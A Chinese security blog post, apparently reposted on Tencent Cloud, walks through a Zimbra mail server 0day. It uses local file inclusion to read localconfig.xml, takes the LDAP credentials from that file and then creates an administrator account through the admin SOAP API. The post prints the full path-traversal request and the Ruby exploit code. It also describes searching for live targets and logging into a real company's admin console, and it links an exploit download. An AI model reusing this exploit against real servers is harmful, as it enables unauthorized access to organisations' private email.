专栏首页离别歌 - 信息安全与代码审计由LFI引起的Zimbra邮件管理系统0day

由LFI引起的Zimbra邮件管理系统0day

由LFI引起的Zimbra邮件管理系统0day

    Zimbra是一个公司用的很多的邮件系统,可能涉及到很多公司内部的机密,所以极为重要。

    这是前几天在exploit-db.com上发出来的0day:http://www.exploit-db.com/exploits/30085/ 。由本地文件包含漏洞可以看到localconfig.xml的内容,而这个文件中包含了LDAP凭证,由这个凭证通过在/service/admin/soap文件下的API来对邮件系统进行越权操作。

0x01 漏洞演示

    在百度里搜索“使 Zimbra Desktop 处于离线状态”,你会找到很多使用Zimbra的系统:

    我们找到我们的目标网站,只用简单使用我们的exp:

    提示Successfully,于是我用新建的账号登录,成功:

    看到有一个“管理员控制台”,因为这个账号是管理员权限,点进去就可以管理所有用户了,当然从公司的老总到客服,所有邮件都尽收眼底。这是管理首页:

0x02 exp运行过程说明

    exp是ruby写的,我也没用python改写,因为比较简单。

    首先访问存在LFI的页面:/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00

req = Net::HTTP::Get.new( "/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00", { "Accept-Encoding" => "gzip", "User-Agent" => "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36" } )
res = http.request( req )  

    从其中获取到LDAP的账号密码,执行get_auth_token函数:

        resbody = gz.read()
        
        part1 = resbody.gsub("\n", ' ').squeeze(' ')
        part2 = part1.gsub("a[", '').squeeze(' ')
        ldap_user = part2.match(/name=\\"zimbra_user\\">"; "<value>(.*?)<\/value>/ui)[1]
        ldap_pass = part2.match(/name=\\"zimbra_ldap_password\\">"; "<value>(.*?)<\/value>/ui)[1]
        
        get_auth_token(ldap_user,ldap_pass)

    这个函数就访问了/service/admin/soap,并获取到了LDAP服务在Zimbra中的auth_key:

def get_auth_token(user,pass)

https = Net::HTTP.new( $host, 7071 )
path = "/service/admin/soap"

https.use_ssl = true
https.verify_mode = OpenSSL::SSL::VERIFY_NONE

body = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<env:Envelope xmlns:env=\"http://www.w3.org/2003/05/soap-envelope\" xmlns:ns1=\"urn:zimbraAdmin\" xmlns:ns2=\"urn:zimbraAdmin\"><env:Header><ns2:context/></env:Header><env:Body><ns1:AuthRequest><account by=\"name\">#{user}</account><password>#{pass}</password></ns1:AuthRequest></env:Body></env:Envelope>"
data = https.post(path, body, { "Content-Type" => "application/soap+xml; charset=utf-8; action=\"urn:zimbraAdmin#AuthRequest\"" } )
$auth_key = data.body.match(/<authToken>(.*)<\/authToken>/iu)[1]
exploit()

end

获取到auth_key后调用exploit()函数,使用auth_key调用utils类的request_soap_admin方法添加了管理员用户,其中,request_soap_admin方法就是运用Zimbra的API,方式是向/service/admin/soap提交构造好的含有auth_key的xml:

def request_soap_admin(api_call)

  @request=api_call
  
  soap_client = Net::HTTP.new( $host, 7071 )
  soap_client.use_ssl = true
  soap_client.verify_mode = OpenSSL::SSL::VERIFY_NONE
  
  soap_path = "/service/admin/soap"
  
  soap_data = "<soap:Envelope xmlns:soap=\"http://www.w3.org/2003/05/soap-envelope\"><soap:Header><context xmlns=\"urn:zimbra\"><authToken>#{$auth_key}</authToken></context></soap:Header><soap:Body>#{@request}</soap:Body></soap:Envelope>"
  
  response = soap_client.post(soap_path, soap_data, { "Content-Type" => "application/soap+xml; charset=utf-8; action=\"urn:zimbraAdmin\"" } )
  
  if response.body.match(/Error/)
     error_res = response.body.match(/<soap:Text>(.*?)<\/soap:Text>/ui)[1]
     puts "[-] Response Error"
     puts "    [*] #{error_res}"
     false
  else
     return response.body
  end    
  

end

0x03 exp下载

http://www.exploit-db.com/sploits/zimbraexploit_rubina119.zip

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 在Ubuntu 14.04上安装Zimbra开源版

    Zimbra是一个完整的邮件服务器,它提供配置的Postfix与OpenDKIM,Amavis,ClamAV和Nginx,准备处理一个或多个域的邮件。Linod...

    沈唁
  • CentOS 5.8 Zimbra邮件系统安装与配置

    原文 http://yanghuawu.blog.51cto.com/2638960/1106390

    全栈程序员站长
  • 挖洞经验 | 以SSRF获取Zimbra邮件服务的用户明文凭据

    本文讲述了作者以邮件登录服务为突破口,利用其中的Zimbra应用功能和邮件端口配置bug,可以对目标邮件服务端执行流量转发设置(SSRF),实现对所有登录用户的...

    FB客服
  • 针对某个目标的渗透测试(外网渗透)

    针对某个目标进行的一次渗透测试!没有什么技术含量,都是简单的测试一些常见的漏洞!开始静下心来学习!

    黑白天安全
  • zimbra RCE 漏洞利用

    近期在测试一个目标的时候发现对方好几个zimbra的服务器,按照网上提供的利用方法测试了之后发现利用不成功!接着自己搭建了zimbra在自己进行测试之后成功利用...

    辞令
  • 对众多知名公司造成影响的Oracle Responsys本地文件包含漏洞

    今天我要向大家展示的是,我如何发现了Oracle Responsys云服务系统中的一个本地文件包含漏洞(LFI)。由于当前很多商业销售、网络存储和社交关系公司都...

    FB客服
  • 邮箱安全服务第6期 | 邮箱自身系统安全的防御部署实践

    前面几期我们介绍的是发现邮箱安全问题和分析问题,本期我们介绍一下邮箱系统安全防御及加固手段,可以重点解决邮箱系统通用应用漏洞缺陷防护和邮箱反入侵问题。为解决邮箱...

    安恒信息
  • 运维人员须熟悉的38个运维工具汇总

    操作系统:Centos,※,Ubuntu,Redhat※,,suse,Freebsd

    牛油果
  • 讲诉eduSRC挖掘渗透经验

    第一种就是弱口令,很多系统拥有学生或者管理员默认密码或者初始密码,可以通过该方法进入系统进行深度挖掘,毕竟给个登录框也搞不点啥样。

    字节脉搏实验室
  • APT攻击盘点及实战(上)

    我相信很多人在发文章的时候,都写了关于APT攻击相关的文章!在这里我也发一篇该文章!哈!但是我比较喜欢实战,不太喜欢理论上的东西。相信大家也跟我一样喜欢实战,恰...

    糖果
  • 云鼎实验室率先捕获Grafana 0day在野利用

    12月07日,Grafana被曝出存在0day漏洞,漏洞细节及POC也随之被公开,攻击者利用该漏洞可以在未授权的情况下读取主机任意文件。云鼎实验室哨兵系统持续...

    云鼎实验室
  • 这个 Office 漏洞的年龄可能比有些白帽子还大

    能潜伏的不只有生物学上的病毒,还有网络中的病毒。 近日,宅客频道从腾讯电脑管家官方微博看到一则消息:腾讯安全反病毒实验室在全球范围内捕获了一例病毒样本,并顺藤摸...

    企鹅号小编
  • 【连载】2016年中国网络空间安全年报(三)

    2016年中国网络空间安全年报 1.3. 站点安全事件分析 2016年国内依旧有部分重要站点被黑,出现此类事件意味着站点已被黑客成功入侵,相关站需要及时清除...

    安恒信息
  • 浅谈大规模红蓝对抗攻与防

    近年来各种大规模的红蓝对抗赛事方兴未艾,攻防实战受到了更多的重视。红队和蓝队的打法逐渐提升并趋于成熟,已不再是单方面的攻击与防御,而演变为攻防博弈和几乎不限手法...

    腾讯安全应急响应中心
  • 放弃 Windows,用国产开源替换政府办公系统!这个国家做到了

    在近二十年里,世界各地的国家或城市政府不断地高调宣布拥抱开源,想用 Linux 系统取代 Windows,希望能借此减少 IT 开支、降低对特定服务商的依赖,以...

    开发者技术前线
  • 我们来聊一聊渗透测试

    不妨假设,你的公司定期更新安全策略和程序,时时给系统打补丁,并采用了漏洞扫描器等工具,以确保所有补丁都已打上。

    Xcnte
  • 微软Office Powerpoint遭遇0day漏洞攻击

    黑客们对0day漏洞的攻击利用似乎永无止境。微软公司之前已经修复了Windows上三个0day漏洞,而现在又发现了一个新的PPT 0day漏洞(编号CVE-20...

    FB客服
  • 我们来聊一聊渗透测试

    最近想了很多关于我们公众号的发展,如何做出我们自己的特点,虽然大家都很喜欢干货文章,我们也在分享干货文章,但是干货文章只要有技术都是可以写出来了,而且很多干货,...

    信安之路
  • 获追捧的 Win10 精简 “魔改版”OS, 被微软封杀!

    在近二十年里,世界各地的国家或城市政府不断地高调宣布拥抱开源,想用 Linux 系统取代 Windows,希望能借此减少 IT 开支、降低对特定服务商的依赖,以...

    开发者技术前线

扫码关注云+社区

领取腾讯云代金券